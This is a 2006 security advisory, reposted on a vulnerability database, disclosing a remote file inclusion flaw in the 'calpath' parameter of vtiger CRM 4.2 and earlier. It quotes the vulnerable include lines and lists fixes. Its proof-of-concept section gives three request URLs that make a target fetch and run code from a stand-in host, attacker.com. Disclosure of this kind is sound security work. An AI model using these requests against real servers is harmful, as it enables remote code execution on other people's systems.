Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14626
HistoryOct 11, 2006 - 12:00 a.m.

[ECHO_ADV_54$2006]vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability

2006-10-1100:00:00
vulners.com
30

ECHO_ADV_54$2006


[ECHO_ADV_54$2006]vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability

Author : Dedi Dwianto a.k.a the_day
Date Found : October, 09th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv54-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:


Application     : Vtiger CRM
version         : &lt;=4.2
URL             : http://vtiger.com

vtiger CRM is 100&#37; Open Source Customer Relationship Management solution built over
LAMP/WAMP stack and other third-party open source packages.
vtiger CRM software can be installed in Windows NT/2000/XP/2003 and different types 
Unix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0, SuSe 9.0, Fedora Core 3.0, 
Mandrake 10.0, Mac OS, and FreeBSD.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder modules/Calendar/admin/ I found vulnerability script update.php
--------------------------update.php---------------------------------------
....
&lt;?

  include_once $calpath .&#39;webelements.p3&#39;;
  include_once $calpath .&#39;permission.p3&#39;;
...
----------------------------------------------------------

Input passed to the &quot;$calpath&quot; parameter in update.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

modules/Calendar/admin/update.php
modules/Calendar/admin/scheme.php
modules/Calendar/calendar.php


Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $calpath on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S&#96;to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ [email protected]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research &amp; Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------